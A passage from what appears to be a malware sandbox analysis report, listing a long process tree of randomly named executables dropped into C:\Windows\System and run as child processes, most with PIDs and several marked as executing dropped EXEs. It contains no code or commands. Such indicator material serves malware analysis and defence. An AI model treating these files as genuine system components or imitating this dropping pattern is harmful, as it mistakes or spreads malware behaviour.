  C:\Windows\System\faUOjsJ.exe
  2⤵
  - Executes dropped EXE
  PID:856
- C:\Windows\System\CTiuWvN.exe
  C:\Windows\System\CTiuWvN.exe
  2⤵
  - Executes dropped EXE
  PID:4028
- C:\Windows\System\gJqJfRb.exe
  C:\Windows\System\gJqJfRb.exe
  2⤵
  - Executes dropped EXE
  PID:60
- C:\Windows\System\ZXuJQWe.exe
  C:\Windows\System\ZXuJQWe.exe
  2⤵
  - Executes dropped EXE
  PID:1312
- C:\Windows\System\zjfiMwB.exe
  C:\Windows\System\zjfiMwB.exe
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Windows\System\tqOlAaU.exe
  C:\Windows\System\tqOlAaU.exe
  2⤵
  - Executes dropped EXE
  PID:1224
- C:\Windows\System\xcPBklJ.exe
  C:\Windows\System\xcPBklJ.exe
  2⤵
  - Executes dropped EXE
  PID:4080
- C:\Windows\System\eEezNYI.exe
  C:\Windows\System\eEezNYI.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\YLUgcjG.exe
  C:\Windows\System\YLUgcjG.exe
  2⤵
  - Executes dropped EXE
  PID:860
- C:\Windows\System\NYipkco.exe
  C:\Windows\System\NYipkco.exe
  2⤵
  - Executes dropped EXE
  PID:1280
- C:\Windows\System\TrCSLdj.exe
  C:\Windows\System\TrCSLdj.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\JSMVkYW.exe
  C:\Windows\System\JSMVkYW.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\TsUeeBz.exe
  C:\Windows\System\TsUeeBz.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\iBNdoaB.exe
  C:\Windows\System\iBNdoaB.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\AfYfYai.exe
  C:\Windows\System\AfYfYai.exe
  2⤵
  - Executes dropped EXE
  PID:4288
- C:\Windows\System\fjUhbhb.exe
  C:\Windows\System\fjUhbhb.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\KGjCyaj.exe
  C:\Windows\System\KGjCyaj.exe
  2⤵
  - Executes dropped EXE
  PID:4236
- C:\Windows\System\qoPklaP.exe
  C:\Windows\System\qoPklaP.exe
  2⤵
  - Executes dropped EXE
  PID:1632
- C:\Windows\System\azmwZbN.exe
  C:\Windows\System\azmwZbN.exe
  2⤵
  - Executes dropped EXE
  PID:4952
- C:\Windows\System\vxrOTvW.exe
  C:\Windows\System\vxrOTvW.exe
  2⤵
  - Executes dropped EXE
  PID:4572
- C:\Windows\System\hbzKlGQ.exe
  C:\Windows\System\hbzKlGQ.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\JUYAgYv.exe
  C:\Windows\System\JUYAgYv.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\xrDOpLR.exe
  C:\Windows\System\xrDOpLR.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\TKWcRls.exe
  C:\Windows\System\TKWcRls.exe
  2⤵
  - Executes dropped EXE
  PID:4208
- C:\Windows\System\zvUtWoA.exe
  C:\Windows\System\zvUtWoA.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Windows\System\mWsuDNU.exe
  C:\Windows\System\mWsuDNU.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\dMQOaJt.exe
  C:\Windows\System\dMQOaJt.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\lARyRiK.exe
  C:\Windows\System\lARyRiK.exe
  2⤵
  - Executes dropped EXE
  PID:4052
- C:\Windows\System\KolrzKa.exe
  C:\Windows\System\KolrzKa.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\EoVEeux.exe
  C:\Windows\System\EoVEeux.exe
  2⤵
  - Executes dropped EXE
  PID:4516
- C:\Windows\System\ycUqFtb.exe
  C:\Windows\System\ycUqFtb.exe
  2⤵
  - Executes dropped EXE
  PID:2068
- C:\Windows\System\WdMWBBj.exe
  C:\Windows\System\WdMWBBj.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\iewibkn.exe
  C:\Windows\System\iewibkn.exe
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Windows\System\mPHgVFV.exe
  C:\Windows\System\mPHgVFV.exe
  2⤵
  - Executes dropped EXE
  PID:4648
- C:\Windows\System\DiNlxSV.exe
  C:\Windows\System\DiNlxSV.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- C:\Windows\System\PDgppTH.exe
  C:\Windows\System\PDgppTH.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\bsWNFmD.exe
  C:\Windows\System\bsWNFmD.exe
  2⤵
  - Executes dropped EXE
  PID:3348
- C:\Windows\System\nmtwwXK.exe
  C:\Windows\System\nmtwwXK.exe
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Windows\System\BHlileH.exe
  C:\Windows\System\BHlileH.exe
  2⤵
  - Executes dropped EXE
  PID:1396
- C:\Windows\System\AqhgHeu.exe
  C:\Windows\System\AqhgHeu.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\kbDaJiw.exe
  C:\Windows\System\kbDaJiw.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\WdgnYvy.exe
  C:\Windows\System\WdgnYvy.exe
  2⤵
  PID:3704
- C:\Windows\System\ydEhJDn.exe
  C:\Windows\System\ydEhJDn.exe
  2⤵
  PID:2168
- C:\Windows\System\VwpbnGO.exe
  C:\Windows\System\VwpbnGO.exe
  2⤵
  PID:2876
- C:\Windows\System\RbIhPpo.exe
  C:\Windows\System\RbIhPpo.exe
  2⤵
  PID:2196
- C:\Windows\System\uyKmFLt.exe
  C:\Windows\System\uyKmFLt.exe
  2⤵
  PID:3736
- C:\Windows\System\IGAvSnX.exe
  C:\Windows\System\IGAvSnX.exe
  2⤵
  PID:5060
- C:\Windows\System\uYmvftm.exe
  C:\Windows\System\uYmvftm.exe
  2⤵
  PID:4556
- C:\Windows\System\KVxllXh.exe
  C:\Windows\System\KVxllXh.exe
  2⤵
  PID:3456
- C:\Windows\System\katmKPM.exe
  C:\Windows\System\katmKPM.exe
  2⤵
  PID:2640
- C:\Windows\System\YPbYoxo.exe
  C:\Windows\System\YPbYoxo.exe
  2⤵
  PID:4452
- C:\Windows\System\uCJDfqf.exe
  C:\Windows\System\uCJDfqf.exe
  2⤵
  PID:3500
- C:\Windows\System\YNePQRe.exe
  C:\Windows\System\YNePQRe.exe
  2⤵
  PID:4812
- C:\Windows\System\NxYsdci.exe
  C:\Windows\System\NxYsdci.exe
  2⤵
  PID:2932
- C:\Windows\System\rnMxSSe.exe
  C:\Windows\System\rnMxSSe.exe
  2⤵
  PID:744
- C:\Windows\System\MlwJLay.exe
  C:\Windows\System\MlwJLay.exe
  2⤵
  PID:4464
- C:\Windows\System\GhgtDPr.exe
  C:\Windows\System\GhgtDPr.exe
  2⤵
  PID:3908
- C:\Windows\System\bHrAyfs.exe
  C:\Windows\System\bHrAyfs.exe
  2⤵
  PID:4988
- C:\Windows\System\UAFfyGw.exe
  C:\Windows\System\UAFfyGw.exe
  2⤵
  PID:3248
- C:\Windows\System\WVxfPIa.exe
  C:\Windows\System\WVxfPIa.exe
  2⤵
  PID:4956
- C:\Windows\System\KdoWUVG.exe
  C:\Windows\System\KdoWUVG.exe
  2⤵
  PID:4160
- C:\Windows\System\NLNiGfx.exe
  C:\Windows\System\NLNiGfx.exe
  2⤵
  PID:5132
- C:\Windows\System\ALpliwK.exe
  C:\Windows\System\ALpliwK.exe
  2⤵
  PID:5152
- C:\Windows\System\ZECLuTn.exe
  C:\Windows\System\ZECLuTn.exe
  2⤵
  PID:5176
- C:\Windows\System\FWlHIgD.exe
  C:\Windows\System\FWlHIgD.exe
  2⤵
  PID:5204
- C:\Windows\System\lJvTrfQ.exe
  C:\Windows\System\lJvTrfQ.exe
  2⤵
  PID:5228
- C:\Windows\System\cGcdLCu.exe
  C:\Windows\System\cGcdLCu.exe
  2⤵
  PID:5268
- C:\Windows\System\JMAsTcn.exe
  C:\Windows\System\JMAsTcn.exe
  2⤵
  PID:5288
- C:\Windows\System\rRPffSa.exe
  C:\Windows\System\rRPffSa.exe
  2⤵
  PID:5308
- C:\Windows\System\TsOrXpL.exe
  C:\Windows\System\TsOrXpL.exe
  2⤵
  PID:5328
- C:\Windows\System\DAScBfQ.exe
  C:\Windows\System\DAScBfQ.exe
  2⤵
  PID:5348
- C:\Windows\System\KmMwEGm.exe
  C:\Windows\System\KmMwEGm.exe
  2⤵
  PID:5404
- C:\Windows\System\MXnvBgO.exe
  C:\Windows\System\MXnvBgO.exe
  2⤵
  PID:5484
- C:\Windows\System\VJGdPUV.exe
  C:\Windows\System\VJGdPUV.exe
  2⤵
  PID:5508
- C:\Windows\System\lMfVoAZ.exe
  C:\Windows\System\lMfVoAZ.exe
  2⤵
  PID:5528
- C:\Windows\System\uDMOfMg.exe
  C:\Windows\System\uDMOfMg.exe
  2⤵
  PID:5548
- C:\Windows\System\Chxmnzy.exe
  C:\Windows\System\Chxmnzy.exe
  2⤵
  PID:5572
- C:\Windows\System\ZMrrSTa.exe
  C:\Windows\System\ZMrrSTa.exe
  2⤵
  PID:5592
- C:\Windows\System\fPzmcZR.exe
  C:\Windows\System\fPzmcZR.exe
  2⤵
  PID:5612
- C:\Windows\System\gkbrmlt.exe
  C:\Windows\System\gkbrmlt.exe
  2⤵
  PID:5636
- C:\Windows\System\fbTXDVt.exe
  C:\Windows\System\fbTXDVt.exe
  2⤵
  PID:5660
- C:\Windows\System\hUAMAjj.exe
  C:\Windows\System\hUAMAjj.exe
  2⤵
  PID:5676
- C:\Windows\System\WJRywDe.exe
  C:\Windows\System\WJRywDe.exe
  2⤵
  PID:5700
- C:\Windows\System\fXSZDgI.exe
  C:\Windows\System\fXSZDgI.exe
  2⤵
  PID:5724
- C:\Windows\System\VAXRogv.exe
  C:\Windows\System\VAXRogv.exe
  2⤵
  PID:5744
- C:\Windows\System\VGxDCzX.exe
  C:\Windows\System\VGxDCzX.exe
  2⤵
  PID:5836
- C:\Windows\System\WSCAJjB.exe
  C:\Windows\System\WSCAJjB.exe
  2⤵
  PID:5852
- C:\Windows\System\NxQvbfq.exe
  C:\Windows\System\NxQvbfq.exe
  2⤵
  PID:5876
- C:\Windows\System\NdyzdaA.exe
  C:\Windows\System\NdyzdaA.exe
  2⤵
  PID:5896
- C:\Windows\System\GGNuCQg.exe
  C:\Windows\System\GGNuCQg.exe
  2⤵
  PID:5920
- C:\Windows\System\MnEbMAC.exe
  C:\Windows\System\MnEbMAC.exe
  2⤵
  PID:5948
- C:\Windows\System\hNBsDoB.exe
  C:\Windows\System\hNBsDoB.exe
  2⤵
  PID:5968
- C:\Windows\System\PXFpOQB.exe
  C:\Windows\System\PXFpOQB.exe
  2⤵
  PID:5992
- C:\Windows\System\DsQfEoU.exe
  C:\Windows\System\DsQfEoU.exe
  2⤵
  PID:6008
- C:\Windows\System\SwMJdKf.exe
  C:\Windows\System\SwMJdKf.exe
  2⤵
  PID:6032
- C:\Windows\System\IypwpkR.exe
  C:\Windows\System\IypwpkR.exe
  2⤵
  PID:6056
- C:\Windows\System\YAnGVjM.exe
  C:\Windows\System\YAnGVjM.exe
  2⤵
  PID:6088
- C:\Windows\System\CQfQbFb.exe
  C:\Windows\System\CQfQbFb.exe
  2⤵
  PID:6104
- C:\Windows\System\IDfevQd.exe
  C:\Windows\System\IDfevQd.exe
  2⤵
  PID:6128
- C:\Windows\System\gDqkDiN.exe
  C:\Windows\System\gDqkDiN.exe
  2⤵
  PID:4924
- C:\Windows\System\ERxVmTo.exe
  C:\Windows\System\ERxVmTo.exe
  2⤵
  PID:4348
- C:\Windows\System\xmbxAKI.exe
  C:\Windows\System\xmbxAKI.exe
  2⤵
  PID:5048
- C:\Windows\System\YLWZHwh.exe
  C:\Windows\System\YLWZHwh.exe
  2⤵
  PID:3616
- C:\Windows\System\agEzpnn.exe
  C:\Windows\System\agEzpnn.exe
  2⤵
  PID:988
- C:\Windows\System\eHGNdQI.exe
  C:\Windows\System\eHGNdQI.exe
  2⤵
  PID:1080
- C:\Windows\System\APFpeOy.exe
  C:\Windows\System\APFpeOy.exe
  2⤵
  PID:1448
- C:\Windows\System\nYIOGIh.exe
  C:\Windows\System\nYIOGIh.exe
  2⤵
  PID:2376
- C:\Windows\System\enfLqts.exe
  C:\Windows\System\enfLqts.exe
  2⤵
  PID:4984
- C:\Windows\System\mumDXhV.exe
  C:\Windows\System\mumDXhV.exe
  2⤵
  PID:2040
- C:\Windows\System\bJkgeqT.exe
  C:\Windows\System\bJkgeqT.exe
  2⤵
  PID:4896
- C:\Windows\System\CoLouFM.exe
  C:\Windows\System\CoLouFM.exe
  2⤵
  PID:1432
- C:\Windows\System\QZXEXNl.exe
  C:\Windows\System\QZXEXNl.exe
  2⤵
  PID:4184
- C:\Windows\System\ijQBOJG.exe
  C:\Windows\System\ijQBOJG.exe
  2⤵
  PID:5632
- C:\Windows\System\rKlFrYc.exe
  C:\Windows\System\rKlFrYc.exe
  2⤵
  PID:5672
- C:\Windows\System\cRCuuKy.exe
  C:\Windows\System\cRCuuKy.exe
  2⤵
  PID:5196
- C:\Windows\System\DrEEZES.exe
  C:\Windows\System\DrEEZES.exe
  2⤵
  PID:5236
- C:\Windows\System\EUtqULo.exe
  C:\Windows\System\EUtqULo.exe
  2⤵
  PID:5280
- C:\Windows\System\RxiSwZw.exe
  C:\Windows\System\RxiSwZw.exe
  2⤵
  PID:5912
- C:\Windows\System\xJOmcdl.exe
  C:\Windows\System\xJOmcdl.exe
  2⤵
  PID:5964
- C:\Windows\System\EZbOYva.exe
  C:\Windows\System\EZbOYva.exe
  2⤵
  PID:6024
- C:\Windows\System\JsGrkuz.exe
  C:\Windows\System\JsGrkuz.exe
  2⤵
  PID:5396
- C:\Windows\System\WhStknK.exe
  C:\Windows\System\WhStknK.exe
  2⤵
  PID:5460
- C:\Windows\System\CJCfkQQ.exe
  C:\Windows\System\CJCfkQQ.exe
  2⤵
  PID:5540
- C:\Windows\System\BMvTBer.exe
  C:\Windows\System\BMvTBer.exe
  2⤵
  PID:1964
- C:\Windows\System\ixxqeir.exe
  C:\Windows\System\ixxqeir.exe
  2⤵
  PID:5756
- C:\Windows\System\RPwlrlp.exe
  C:\Windows\System\RPwlrlp.exe
  2⤵
  PID:6172
- C:\Windows\System\OhOVWPQ.exe
  C:\Windows\System\OhOVWPQ.exe
  2⤵
  PID:6248
- C:\Windows\System\fBNkwes.exe
  C:\Windows\System\fBNkwes.exe
  2⤵
  PID:6276
- C:\Windows\System\mDFGqyS.exe
  C:\Windows\System\mDFGqyS.exe
  2⤵
  PID:6304
- C:\Windows\System\BxaXFAq.exe
  C:\Windows\System\BxaXFAq.exe
  2⤵
  PID:6324
- C:\Windows\System\yvqnHFT.exe
  C:\Windows\System\yvqnHFT.exe
  2⤵
  PID:6352
- C:\Windows\System\IoWXfsl.exe
  C:\Windows\System\IoWXfsl.exe
  2⤵
  PID:6388
- C:\Windows\System\MhMvtrM.exe
  C:\Windows\System\MhMvtrM.exe
  2⤵
  PID:6456
- C:\Windows\System\UmbXzbk.exe
  C:\Windows\System\UmbXzbk.exe
  2⤵
  PID:6472
- C:\Windows\System\OfSLoBu.exe
  C:\Windows\System\OfSLoBu.exe
  2⤵
  PID:6488
- C:\Windows\System\yNYJSNE.exe
  C:\Windows\System\yNYJSNE.exe
  2⤵
  PID:6504
- C:\Windows\System\OStvbic.exe
  C:\Windows\System\OStvbic.exe
  2⤵
  PID:6520
- C:\Windows\System\SkgwEEv.exe
  C:\Windows\System\SkgwEEv.exe
  2⤵
  PID:6536
- C:\Windows\System\hGRFFkS.exe
  C:\Windows\System\hGRFFkS.exe
  2⤵
  PID:6552
- C:\Windows\System\WwbBueF.exe
  C:\Windows\System\WwbBueF.exe
  2⤵
  PID:6568
- C:\Windows\System\uhXyOJZ.exe
  C:\Windows\System\uhXyOJZ.exe
  2⤵
  PID:6584
- C:\Windows\System\jTJhNXd.exe
  C:\Windows\System\jTJhNXd.exe
  2⤵
  PID:6612
- C:\Windows\System\feIwLNc.exe
  C:\Windows\System\feIwLNc.exe
  2⤵
  PID:6632
- C:\Windows\System\ezfPvxQ.exe
  C:\Windows\System\ezfPvxQ.exe
  2⤵
  PID:6656
- C:\Windows\System\LHrmwmd.exe
  C:\Windows\System\LHrmwmd.exe
  2⤵
  PID:6684
- C:\Windows\System\ZOEuPsy.exe
  C:\Windows\System\ZOEuPsy.exe
  2⤵
  PID:6704
- C:\Windows\System\HrYVles.exe
  C:\Windows\System\HrYVles.exe
  2⤵
  PID:6724
- C:\Windows\System\RYherwQ.exe
  C:\Windows\System\RYherwQ.exe
  2⤵
  PID:6816
- C:\Windows\System\paNEuSZ.exe
  C:\Windows\System\paNEuSZ.exe
  2⤵
  PID:6840
- C:\Windows\System\VINmBjA.exe
  C:\Windows\System\VINmBjA.exe
  2⤵
  PID:6868
- C:\Windows\System\AUrBDyw.exe
  C:\Windows\System\AUrBDyw.exe
  2⤵
  PID:6892
- C:\Windows\System\EWsVTKI.exe
  C:\Windows\System\EWsVTKI.exe
  2⤵
  PID:6908
- C:\Windows\System\xwXyJmp.exe
  C:\Windows\System\xwXyJmp.exe
  2⤵
  PID:6932
- C:\Windows\System\DklJkuH.exe
  C:\Windows\System\DklJkuH.exe
  2⤵
  PID:6956
- C:\Windows\System\BWrpyVR.exe
  C:\Windows\System\BWrpyVR.exe
  2⤵
  PID:6980
- C:\Windows\System\EasqSBq.exe
  C:\Windows\System\EasqSBq.exe
  2⤵
  PID:7004
- C:\Windows\System\hMvngeQ.exe
  C:\Windows\System\hMvngeQ.exe
  2⤵
  PID:7028
- C:\Windows\System\cwzuHTI.exe
  C:\Windows\System\cwzuHTI.exe
  2⤵
  PID:7048
- C:\Windows\System\KbWTJEo.exe
  C:\Windows\System\KbWTJEo.exe
  2⤵
  PID:7068
- C:\Windows\System\HiXtkrG.exe
  C:\Windows\System\HiXtkrG.exe
  2⤵
  PID:7092
- C:\Windows\System\Ielfnkq.exe
  C:\Windows\System\Ielfnkq.exe
  2⤵
  PID:7116
- C:\Windows\System\zDFIHuF.exe
  C:\Windows\System\zDFIHuF.exe
  2⤵
  PID:7136
- C:\Windows\System\joBkSoO.exe
  C:\Windows\System\joBkSoO.exe
  2⤵
  PID:7152
- C:\Windows\System\UPHwpjg.exe
  C:\Windows\System\UPHwpjg.exe
  2⤵
  PID:5788
- C:\Windows\System\RUxYdlV.exe
  C:\Windows\System\RUxYdlV.exe
  2⤵
  PID:5824
- C:\Windows\System\ReRPEjs.exe
  C:\Windows\System\ReRPEjs.exe
  2⤵
  PID:4644
- C:\Windows\System\HZyGXyb.exe
  C:\Windows\System\HZyGXyb.exe
  2⤵
  PID:1572
- C:\Windows\System\BpxpHcq.exe
  C:\Windows\System\BpxpHcq.exe
  2⤵
  PID:4584
- C:\Windows\System\tewFZbf.exe
  C:\Windows\System\tewFZbf.exe
  2⤵
  PID:4436
- C:\Windows\System\PjHdikJ.exe
  C:\Windows\System\PjHdikJ.exe
  2⤵
  PID:5420
- C:\Windows\System\zQXhjoE.exe
  C:\Windows\System\zQXhjoE.exe
  2⤵
  PID:5344
- C:\Windows\System\VaoICaT.exe
  C:\Windows\System\VaoICaT.exe
  2⤵
  PID:5620
- C:\Windows\System\BnlkdFK.exe
  C:\Windows\System\BnlkdFK.exe
  2⤵
  PID:5128
- C:\Windows\System\yMGLLzj.exe
  C:\Windows\System\yMGLLzj.exe
  2⤵
  PID:5244
- C:\Windows\System\IcAncal.exe
  C:\Windows\System\IcAncal.exe
  2⤵
  PID:5628
- C:\Windows\System\WjKkKlv.exe
  C:\Windows\System\WjKkKlv.exe
  2⤵
  PID:5892
- C:\Windows\System\xyCXHAI.exe
  C:\Windows\System\xyCXHAI.exe
  2⤵
  PID:6292
- C:\Windows\System\KzzrrNz.exe
  C:\Windows\System\KzzrrNz.exe
  2⤵
  PID:6284
- C:\Windows\System\HPMKRGw.exe
  C:\Windows\System\HPMKRGw.exe
  2⤵
  PID:6240
- C:\Windows\System\GVGlkxe.exe
  C:\Windows\System\GVGlkxe.exe
  2⤵
  PID:5736
- C:\Windows\System\ZCJEbGG.exe
  C:\Windows\System\ZCJEbGG.exe
  2⤵
  PID:6320
- C:\Windows\System\wRgsTZZ.exe
  C:\Windows\System\wRgsTZZ.exe
  2⤵
  PID:7144
- C:\Windows\System\zSeLApk.exe
  C:\Windows\System\zSeLApk.exe
  2⤵
  PID:7184
- C:\Windows\System\ZXrJkIC.exe
  C:\Windows\System\ZXrJkIC.exe
  2⤵
  PID:7208
- C:\Windows\System\GeLHuDd.exe
  C:\Windows\System\GeLHuDd.exe
  2⤵
  PID:7304
- C:\Windows\System\lUaaKsP.exe
  C:\Windows\System\lUaaKsP.exe
  2⤵
  PID:7328
- C:\Windows\System\CLPEGwt.exe
  C:\Windows\System\CLPEGwt.exe
  2⤵
  PID:7352
- C:\Windows\System\bvYgcpr.exe
  C:\Windows\System\bvYgcpr.exe
  2⤵
  PID:7376
- C:\Windows\System\SsgIfOc.exe
  C:\Windows\System\SsgIfOc.exe
  2⤵
  PID:7392
- C:\Windows\System\AOjuceu.exe
  C:\Windows\System\AOjuceu.exe
  2⤵
  PID:7416
- C:\Windows\System\sZgFhni.exe
  C:\Windows\System\sZgFhni.exe
  2⤵
  PID:7440
- C:\Windows\System\mcDFFFV.exe
  C:\Windows\System\mcDFFFV.exe
  2⤵
  PID:7464
- C:\Windows\System\abxyweb.exe
  C:\Windows\System\abxyweb.exe
  2⤵
  PID:7488
- C:\Windows\System\SfXGvsQ.exe
  C:\Windows\System\SfXGvsQ.exe
  2⤵
  PID:7520
- C:\Windows\System\nhsOEaF.exe
  C:\Windows\System\nhsOEaF.exe
  2⤵
  PID:7544
- C:\Windows\System\FEXoMCB.exe
  C:\Windows\System\FEXoMCB.exe
  2⤵
  PID:7576
- C:\Windows\System\GXHiiJh.exe
  C:\Windows\System\GXHiiJh.exe
  2⤵
  PID:7592
- C:\Windows\System\rIPEjLr.exe
  C:\Windows\System\rIPEjLr.exe
  2⤵
  PID:7608
- C:\Windows\System\etIUFwg.exe
  C:\Windows\System\etIUFwg.exe
  2⤵
  PID:7624
- C:\Windows\System\rXGgbcy.exe
  C:\Windows\System\rXGgbcy.exe
  2⤵
  PID:7640
- C:\Windows\System\zyHIFrX.exe
  C:\Windows\System\zyHIFrX.exe
  2⤵
  PID:7660
- C:\Windows\System\PJDioFU.exe
  C:\Windows\System\PJDioFU.exe
  2⤵
  PID:7680
- C:\Windows\System\ZzxqCHH.exe
  C:\Windows\System\ZzxqCHH.exe
  2⤵
  PID:7704
- C:\Windows\System\UxmgOen.exe
  C:\Windows\System\UxmgOen.exe
  2⤵
  PID:7728
- C:\Windows\System\LTcQsbQ.exe
  C:\Windows\System\LTcQsbQ.exe
  2⤵
  PID:7752
- C:\Windows\System\MZXJgFB.exe
  C:\Windows\System\MZXJgFB.exe
  2⤵
  PID:7776
- C:\Windows\System\YEqGche.exe
  C:\Windows\System\YEqGche.exe
  2⤵
  PID:7800
- C:\Windows\System\kVpSXxp.exe
  C:\Windows\System\kVpSXxp.exe
  2⤵
  PID:7824
- C:\Windows\System\pcXmlwW.exe
  C:\Windows\System\pcXmlwW.exe
  2⤵
  PID:7844
- C:\Windows\System\FPRAgFN.exe
  C:\Windows\System\FPRAgFN.exe
  2⤵
  PID:7864
- C:\Windows\System\shClGCv.exe
  C:\Windows\System\shClGCv.exe
  2⤵
  PID:7888
- C:\Windows\System\yZHAMRV.exe
  C:\Windows\System\yZHAMRV.exe
  2⤵
  PID:7912
- C:\Windows\System\qLgOOpL.exe
  C:\Windows\System\qLgOOpL.exe
  2⤵
  PID:7936
- C:\Windows\System\jfpQgCz.exe
  C:\Windows\System\jfpQgCz.exe
  2⤵
  PID:8004
- C:\Windows\System\nAeRpWn.exe
  C:\Windows\System\nAeRpWn.exe
  2⤵
  PID:8020
- C:\Windows\System\DpdqmxS.exe
  C:\Windows\System\DpdqmxS.exe
  2⤵
  PID:8036
- C:\Windows\System\szUuFQw.exe
  C:\Windows\System\szUuFQw.exe
  2⤵
  PID:8060
- C:\Windows\System\UpRLJAK.exe
  C:\Windows\System\UpRLJAK.exe
  2⤵
  PID:8088
- C:\Windows\System\hCNhBQZ.exe
  C:\Windows\System\hCNhBQZ.exe
  2⤵
  PID:8112
- C:\Windows\System\ZXHydIk.exe
  C:\Windows\System\ZXHydIk.exe
  2⤵
  PID:8136
- C:\Windows\System\cPLjwBH.exe
  C:\Windows\System\cPLjwBH.exe
  2⤵
  PID:6836
- C:\Windows\System\tYhDnde.exe
  C:\Windows\System\tYhDnde.exe
  2⤵
  PID:7016
- C:\Windows\System\LTlMCCM.exe
  C:\Windows\System\LTlMCCM.exe
  2⤵
  PID:7076
- C:\Windows\System\GVnVKaz.exe
  C:\Windows\System\GVnVKaz.exe
  2⤵
  PID:7112
- C:\Windows\System\jZzNWMS.exe
  C:\Windows\System\jZzNWMS.exe
  2⤵
  PID:7400
- C:\Windows\System\AUUytWL.exe
  C:\Windows\System\AUUytWL.exe
  2⤵
  PID:5832
- C:\Windows\System\JBHIJyt.exe
  C:\Windows\System\JBHIJyt.exe
  2⤵
  PID:6380
- C:\Windows\System\PwQxgKt.exe
  C:\Windows\System\PwQxgKt.exe
  2⤵
  PID:6692
- C:\Windows\System\XlmTLWO.exe
  C:\Windows\System\XlmTLWO.exe
  2⤵
  PID:6100
- C:\Windows\System\gynDEmh.exe
  C:\Windows\System\gynDEmh.exe
  2⤵
  PID:808
- C:\Windows\System\LyGrCBd.exe
  C:\Windows\System\LyGrCBd.exe
  2⤵
  PID:4068
- C:\Windows\System\QfjmXVK.exe
  C:\Windows\System\QfjmXVK.exe
  2⤵
  PID:5692
- C:\Windows\System\syyfxZL.exe
  C:\Windows\System\syyfxZL.exe
  2⤵
  PID:7384
- C:\Windows\System\qVThark.exe
  C:\Windows\System\qVThark.exe
  2⤵
  PID:7252
- C:\Windows\System\SAZllZE.exe
  C:\Windows\System\SAZllZE.exe
  2⤵
  PID:7320
- C:\Windows\System\nFdGHVs.exe
  C:\Windows\System\nFdGHVs.exe
  2⤵
  PID:7340
- C:\Windows\System\YBHcOmr.exe
  C:\Windows\System\YBHcOmr.exe
  2⤵
  PID:7460
- C:\Windows\System\UPzPxqE.exe
  C:\Windows\System\UPzPxqE.exe
  2⤵
  PID:5980
- C:\Windows\System\bejKAgJ.exe
  C:\Windows\System\bejKAgJ.exe
  2⤵
  PID:7620
- C:\Windows\System\gQzLPdU.exe
  C:\Windows\System\gQzLPdU.exe
  2⤵
  PID:7676
- C:\Windows\System\fhsBhmU.exe
  C:\Windows\System\fhsBhmU.exe
  2⤵
  PID:7712
- C:\Windows\System\jTfVezB.exe
  C:\Windows\System\jTfVezB.exe
  2⤵
  PID:7748
- C:\Windows\System\NlXbsvB.exe
  C:\Windows\System\NlXbsvB.exe
  2⤵
  PID:7808
- C:\Windows\System\xaQrTIR.exe
  C:\Windows\System\xaQrTIR.exe
  2⤵
  PID:7840
- C:\Windows\System\uyTFNII.exe
  C:\Windows\System\uyTFNII.exe
  2⤵
  PID:7920
- C:\Windows\System\tZacGuu.exe
  C:\Windows\System\tZacGuu.exe
  2⤵
  PID:7944
- C:\Windows\System\SNXamAr.exe
  C:\Windows\System\SNXamAr.exe
  2⤵
  PID:7996
- C:\Windows\System\SfhoDRR.exe
  C:\Windows\System\SfhoDRR.exe
  2⤵
  PID:8028
- C:\Windows\System\HpMYlCN.exe
  C:\Windows\System\HpMYlCN.exe
  2⤵
  PID:8076
- C:\Windows\System\MWXVqoA.exe
  C:\Windows\System\MWXVqoA.exe
  2⤵
  PID:6720
- C:\Windows\System\CEjuWKw.exe
  C:\Windows\System\CEjuWKw.exe
  2⤵
  PID:8216
- C:\Windows\System\oqVDwnA.exe
  C:\Windows\System\oqVDwnA.exe
  2⤵
  PID:8244
- C:\Windows\System\XwMePex.exe
  C:\Windows\System\XwMePex.exe
  2⤵
  PID:8272
- C:\Windows\System\mXybmAI.exe
  C:\Windows\System\mXybmAI.exe
  2⤵
  PID:8296
- C:\Windows\System\sKkACnA.exe
  C:\Windows\System\sKkACnA.exe
  2⤵
  PID:8320
- C:\Windows\System\eBaVwdG.exe
  C:\Windows\System\eBaVwdG.exe
  2⤵
  PID:8340
- C:\Windows\System\wktvTNC.exe
  C:\Windows\System\wktvTNC.exe
  2⤵
  PID:8360
- C:\Windows\System\cXFMrku.exe
  C:\Windows\System\cXFMrku.exe
  2⤵
  PID:8384
- C:\Windows\System\GiJuJdl.exe
  C:\Windows\System\GiJuJdl.exe
  2⤵
  PID:8404
- C:\Windows\System\xRQpyiX.exe
  C:\Windows\System\xRQpyiX.exe
  2⤵
  PID:8580
- C:\Windows\System\kvvotWl.exe
  C:\Windows\System\kvvotWl.exe
  2⤵
  PID:8696
- C:\Windows\System\lPuRjGD.exe
  C:\Windows\System\lPuRjGD.exe
  2⤵
  PID:8720
- C:\Windows\System\KUIgWWu.exe
  C:\Windows\System\KUIgWWu.exe
  2⤵
  PID:8752
- C:\Windows\System\gOtCKvn.exe
  C:\Windows\System\gOtCKvn.exe
  2⤵
  PID:8772
- C:\Windows\System\rOdGsOQ.exe
  C:\Windows\System\rOdGsOQ.exe
  2⤵
  PID:8800
- C:\Windows\System\hsETrhB.exe
  C:\Windows\System\hsETrhB.exe
  2⤵
  PID:8820
- C:\Windows\System\HtKZYDH.exe
  C:\Windows\System\HtKZYDH.exe
  2⤵
